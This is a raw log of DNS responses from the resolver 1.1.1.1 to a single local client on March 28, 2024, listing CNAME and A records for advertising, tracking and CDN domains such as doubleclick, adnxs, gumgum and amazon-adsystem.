Mar 28, 2024 09:52:25.977277994 CET	1.1.1.1	192.168.2.4	0x9d6a	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.978437901 CET	1.1.1.1	192.168.2.4	0x518c	No error (0)	ssbsync.smartadserver.com	ssbsync-geo.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.978437901 CET	1.1.1.1	192.168.2.4	0x518c	No error (0)	ssbsync-geo.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.978550911 CET	1.1.1.1	192.168.2.4	0xd7c5	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.978550911 CET	1.1.1.1	192.168.2.4	0xd7c5	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.979221106 CET	1.1.1.1	192.168.2.4	0x7a7b	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.979221106 CET	1.1.1.1	192.168.2.4	0x7a7b	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.979221106 CET	1.1.1.1	192.168.2.4	0x7a7b	No error (0)	us-east-eb2.3lift.com		35.71.139.29	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.979221106 CET	1.1.1.1	192.168.2.4	0x7a7b	No error (0)	us-east-eb2.3lift.com		52.223.22.214	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.988697052 CET	1.1.1.1	192.168.2.4	0x822d	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.988697052 CET	1.1.1.1	192.168.2.4	0x822d	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.988697052 CET	1.1.1.1	192.168.2.4	0x822d	No error (0)	pug-vac.pubmnet.com		8.28.7.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.989065886 CET	1.1.1.1	192.168.2.4	0x7493	No error (0)	widget-pixels.outbrain.com	wildcard.outbrain.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.989717007 CET	1.1.1.1	192.168.2.4	0x5393	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.989717007 CET	1.1.1.1	192.168.2.4	0x5393	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.989988089 CET	1.1.1.1	192.168.2.4	0xf407	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.989988089 CET	1.1.1.1	192.168.2.4	0xf407	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.208.144.215	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.989988089 CET	1.1.1.1	192.168.2.4	0xf407	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		18.213.142.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.989988089 CET	1.1.1.1	192.168.2.4	0xf407	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.73.224.74	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.989988089 CET	1.1.1.1	192.168.2.4	0xf407	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.71.237.157	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.989988089 CET	1.1.1.1	192.168.2.4	0xf407	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		44.198.9.239	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.989988089 CET	1.1.1.1	192.168.2.4	0xf407	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.93.32.71	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.989988089 CET	1.1.1.1	192.168.2.4	0xf407	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.210.30.134	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.989988089 CET	1.1.1.1	192.168.2.4	0xf407	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.82.229.169	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	secure.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	ib.anycast.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	ib.anycast.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	ib.anycast.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990572929 CET	1.1.1.1	192.168.2.4	0x6694	No error (0)	ib.anycast.adnxs.com		68.67.179.153	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.990634918 CET	1.1.1.1	192.168.2.4	0x2c52	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.998228073 CET	1.1.1.1	192.168.2.4	0x6db9	No error (0)	widget-pixels.outbrain.com	wildcard.outbrain.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:26.647515059 CET	1.1.1.1	192.168.2.4	0x1d86	No error (0)	aba.gumgum.com		18.67.76.34	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.647515059 CET	1.1.1.1	192.168.2.4	0x1d86	No error (0)	aba.gumgum.com		18.67.76.126	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.647515059 CET	1.1.1.1	192.168.2.4	0x1d86	No error (0)	aba.gumgum.com		18.67.76.7	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.647515059 CET	1.1.1.1	192.168.2.4	0x1d86	No error (0)	aba.gumgum.com		18.67.76.19	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.693177938 CET	1.1.1.1	192.168.2.4	0x9d22	No error (0)	g2.gumgum.com		44.217.65.112	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.693177938 CET	1.1.1.1	192.168.2.4	0x9d22	No error (0)	g2.gumgum.com		3.228.196.71	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.693177938 CET	1.1.1.1	192.168.2.4	0x9d22	No error (0)	g2.gumgum.com		54.86.0.235	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.693177938 CET	1.1.1.1	192.168.2.4	0x9d22	No error (0)	g2.gumgum.com		54.242.45.237	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.693177938 CET	1.1.1.1	192.168.2.4	0x9d22	No error (0)	g2.gumgum.com		107.23.7.238	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.693177938 CET	1.1.1.1	192.168.2.4	0x9d22	No error (0)	g2.gumgum.com		52.72.54.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.693177938 CET	1.1.1.1	192.168.2.4	0x9d22	No error (0)	g2.gumgum.com		52.205.147.249	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.693177938 CET	1.1.1.1	192.168.2.4	0x9d22	No error (0)	g2.gumgum.com		44.210.155.144	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.166804075 CET	1.1.1.1	192.168.2.4	0x2669	No error (0)	va-g2.gumgum.com		54.86.0.235	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.166804075 CET	1.1.1.1	192.168.2.4	0x2669	No error (0)	va-g2.gumgum.com		54.225.233.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.166804075 CET	1.1.1.1	192.168.2.4	0x2669	No error (0)	va-g2.gumgum.com		54.81.188.163	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.166804075 CET	1.1.1.1	192.168.2.4	0x2669	No error (0)	va-g2.gumgum.com		52.203.159.247	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.166804075 CET	1.1.1.1	192.168.2.4	0x2669	No error (0)	va-g2.gumgum.com		35.170.221.127	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.166804075 CET	1.1.1.1	192.168.2.4	0x2669	No error (0)	va-g2.gumgum.com		3.224.52.235	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.166804075 CET	1.1.1.1	192.168.2.4	0x2669	No error (0)	va-g2.gumgum.com		44.207.26.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.166804075 CET	1.1.1.1	192.168.2.4	0x2669	No error (0)	va-g2.gumgum.com		34.196.91.163	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.167102098 CET	1.1.1.1	192.168.2.4	0x3aaa	No error (0)	secure.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:27.167102098 CET	1.1.1.1	192.168.2.4	0x3aaa	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:27.167102098 CET	1.1.1.1	192.168.2.4	0x3aaa	No error (0)	global.px.quantserve.com		192.184.68.134	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.167102098 CET	1.1.1.1	192.168.2.4	0x3aaa	No error (0)	global.px.quantserve.com		192.184.68.228	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.167102098 CET	1.1.1.1	192.168.2.4	0x3aaa	No error (0)	global.px.quantserve.com		192.184.68.254	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.167102098 CET	1.1.1.1	192.168.2.4	0x3aaa	No error (0)	global.px.quantserve.com		192.184.68.215	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.167102098 CET	1.1.1.1	192.168.2.4	0x3aaa	No error (0)	global.px.quantserve.com		192.184.68.166	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.167292118 CET	1.1.1.1	192.168.2.4	0xd8f5	No error (0)	secure.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:27.167292118 CET	1.1.1.1	192.168.2.4	0xd8f5	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:27.171982050 CET	1.1.1.1	192.168.2.4	0x9f1e	No error (0)	ad.doubleclick.net		142.251.167.149	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.171982050 CET	1.1.1.1	192.168.2.4	0x9f1e	No error (0)	ad.doubleclick.net		142.251.167.148	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.172481060 CET	1.1.1.1	192.168.2.4	0xb4a6	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Mar 28, 2024 09:52:27.184144020 CET	1.1.1.1	192.168.2.4	0xf1b7	No error (0)	attentionxyz.com		18.67.76.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.184144020 CET	1.1.1.1	192.168.2.4	0xf1b7	No error (0)	attentionxyz.com		18.67.76.109	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.184144020 CET	1.1.1.1	192.168.2.4	0xf1b7	No error (0)	attentionxyz.com		18.67.76.12	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.184144020 CET	1.1.1.1	192.168.2.4	0xf1b7	No error (0)	attentionxyz.com		18.67.76.128	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.955786943 CET	1.1.1.1	192.168.2.4	0xc71d	No error (0)	gumgum.com		146.75.30.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.644128084 CET	1.1.1.1	192.168.2.4	0xd85b	No error (0)	cm.g.doubleclick.net		172.253.62.154	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.644128084 CET	1.1.1.1	192.168.2.4	0xd85b	No error (0)	cm.g.doubleclick.net		172.253.62.157	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.645716906 CET	1.1.1.1	192.168.2.4	0x1c9d	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.645716906 CET	1.1.1.1	192.168.2.4	0x1c9d	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.645716906 CET	1.1.1.1	192.168.2.4	0x1c9d	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		35.168.164.141	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.645716906 CET	1.1.1.1	192.168.2.4	0x1c9d	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.225.78.4	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.645716906 CET	1.1.1.1	192.168.2.4	0x1c9d	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.232.70.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.645716906 CET	1.1.1.1	192.168.2.4	0x1c9d	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.231.14.50	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.645716906 CET	1.1.1.1	192.168.2.4	0x1c9d	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.85.0.207	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.645716906 CET	1.1.1.1	192.168.2.4	0x1c9d	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.235.217.129	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.645716906 CET	1.1.1.1	192.168.2.4	0x1c9d	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.220.141.160	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.645716906 CET	1.1.1.1	192.168.2.4	0x1c9d	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		54.146.251.248	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.646333933 CET	1.1.1.1	192.168.2.4	0xb635	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.646333933 CET	1.1.1.1	192.168.2.4	0xb635	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.648799896 CET	1.1.1.1	192.168.2.4	0x3148	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.648813009 CET	1.1.1.1	192.168.2.4	0x7a2a	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.652240992 CET	1.1.1.1	192.168.2.4	0xd128	No error (0)	images-na.ssl-images-amazon.com	m.media-amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.652240992 CET	1.1.1.1	192.168.2.4	0xd128	No error (0)	m.media-amazon.com	tp.c47710ee9-frontier.media-amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.652240992 CET	1.1.1.1	192.168.2.4	0xd128	No error (0)	tp.c47710ee9-frontier.media-amazon.com	c.media-amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.652262926 CET	1.1.1.1	192.168.2.4	0x1fdf	No error (0)	images-na.ssl-images-amazon.com	m.media-amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.652262926 CET	1.1.1.1	192.168.2.4	0x1fdf	No error (0)	m.media-amazon.com	tp.c47710ee9-frontier.media-amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.652262926 CET	1.1.1.1	192.168.2.4	0x1fdf	No error (0)	tp.c47710ee9-frontier.media-amazon.com	f.media-amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.652262926 CET	1.1.1.1	192.168.2.4	0x1fdf	No error (0)	f.media-amazon.com	media.amazon.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.652262926 CET	1.1.1.1	192.168.2.4	0x1fdf	No error (0)	media.amazon.map.fastly.net		151.101.129.16	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.652262926 CET	1.1.1.1	192.168.2.4	0x1fdf	No error (0)	media.amazon.map.fastly.net		151.101.193.16	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.652262926 CET	1.1.1.1	192.168.2.4	0x1fdf	No error (0)	media.amazon.map.fastly.net		151.101.1.16	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.652262926 CET	1.1.1.1	192.168.2.4	0x1fdf	No error (0)	media.amazon.map.fastly.net		151.101.65.16	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.653703928 CET	1.1.1.1	192.168.2.4	0x50f5	No error (0)	s.e-planning.net		172.98.26.242	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.anycast.adnxs.com		68.67.179.87	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.anycast.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.anycast.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.anycast.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.881092072 CET	1.1.1.1	192.168.2.4	0x6ca7	No error (0)	ib.anycast.adnxs.com		68.67.160.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.883150101 CET	1.1.1.1	192.168.2.4	0xa542	No error (0)	rtb.om-meta.com		138.197.58.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.884505033 CET	1.1.1.1	192.168.2.4	0x9f78	No error (0)	z.moatads.com	wildcard.moatads.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.885291100 CET	1.1.1.1	192.168.2.4	0xc285	No error (0)	z.moatads.com	wildcard.moatads.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.945055008 CET	1.1.1.1	192.168.2.4	0xfdbd	No error (0)	aes.us-east.3px.axp.amazon-adsystem.com	aes-p-aespr-b5p8dr7p2986-1657876250.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.950011015 CET	1.1.1.1	192.168.2.4	0xb95b	No error (0)	aes.us-east.3px.axp.amazon-adsystem.com	aes-p-aespr-b5p8dr7p2986-1657876250.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:30.950011015 CET	1.1.1.1	192.168.2.4	0xb95b	No error (0)	aes-p-aespr-b5p8dr7p2986-1657876250.us-east-1.elb.amazonaws.com		34.195.133.218	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.950011015 CET	1.1.1.1	192.168.2.4	0xb95b	No error (0)	aes-p-aespr-b5p8dr7p2986-1657876250.us-east-1.elb.amazonaws.com		34.198.6.139	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.950011015 CET	1.1.1.1	192.168.2.4	0xb95b	No error (0)	aes-p-aespr-b5p8dr7p2986-1657876250.us-east-1.elb.amazonaws.com		34.196.244.248	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.950011015 CET	1.1.1.1	192.168.2.4	0xb95b	No error (0)	aes-p-aespr-b5p8dr7p2986-1657876250.us-east-1.elb.amazonaws.com		52.20.131.235	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.950011015 CET	1.1.1.1	192.168.2.4	0xb95b	No error (0)	aes-p-aespr-b5p8dr7p2986-1657876250.us-east-1.elb.amazonaws.com		52.202.116.139	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.950011015 CET	1.1.1.1	192.168.2.4	0xb95b	No error (0)	aes-p-aespr-b5p8dr7p2986-1657876250.us-east-1.elb.amazonaws.com		3.219.97.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.950011015 CET	1.1.1.1	192.168.2.4	0xb95b	No error (0)	aes-p-aespr-b5p8dr7p2986-1657876250.us-east-1.elb.amazonaws.com		34.193.81.218	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.950011015 CET	1.1.1.1	192.168.2.4	0xb95b	No error (0)	aes-p-aespr-b5p8dr7p2986-1657876250.us-east-1.elb.amazonaws.com		44.207.158.201	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.145935059 CET	1.1.1.1	192.168.2.4	0x20a4	No error (0)	rtb.gumgum.com		52.3.29.96	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.145935059 CET	1.1.1.1	192.168.2.4	0x20a4	No error (0)	rtb.gumgum.com		54.81.188.163	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.145935059 CET	1.1.1.1	192.168.2.4	0x20a4	No error (0)	rtb.gumgum.com		3.228.196.71	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.145935059 CET	1.1.1.1	192.168.2.4	0x20a4	No error (0)	rtb.gumgum.com		52.207.14.193	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.145935059 CET	1.1.1.1	192.168.2.4	0x20a4	No error (0)	rtb.gumgum.com		34.196.91.163	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.145935059 CET	1.1.1.1	192.168.2.4	0x20a4	No error (0)	rtb.gumgum.com		52.205.147.249	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.145935059 CET	1.1.1.1	192.168.2.4	0x20a4	No error (0)	rtb.gumgum.com		52.203.159.247	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.145935059 CET	1.1.1.1	192.168.2.4	0x20a4	No error (0)	rtb.gumgum.com		35.170.165.169	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.149128914 CET	1.1.1.1	192.168.2.4	0x3a8a	No error (0)	id.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.352200985 CET	1.1.1.1	192.168.2.4	0x86d0	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:31.352200985 CET	1.1.1.1	192.168.2.4	0x86d0	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:31.352200985 CET	1.1.1.1	192.168.2.4	0x86d0	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:31.352200985 CET	1.1.1.1	192.168.2.4	0x86d0	No error (0)	d1jvc9b8z3vcjs.cloudfront.net		18.160.24.6	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.352415085 CET	1.1.1.1	192.168.2.4	0xcff0	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:31.352415085 CET	1.1.1.1	192.168.2.4	0xcff0	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:31.352415085 CET	1.1.1.1	192.168.2.4	0xcff0	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:31.354147911 CET	1.1.1.1	192.168.2.4	0x3a23	No error (0)	us-east-1.paa-reporting-advertising.amazon		13.32.208.44	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.354147911 CET	1.1.1.1	192.168.2.4	0x3a23	No error (0)	us-east-1.paa-reporting-advertising.amazon		13.32.208.86	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.354147911 CET	1.1.1.1	192.168.2.4	0x3a23	No error (0)	us-east-1.paa-reporting-advertising.amazon		13.32.208.95	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.354147911 CET	1.1.1.1	192.168.2.4	0x3a23	No error (0)	us-east-1.paa-reporting-advertising.amazon		13.32.208.59	A (IP address)	IN (0x0001)	false
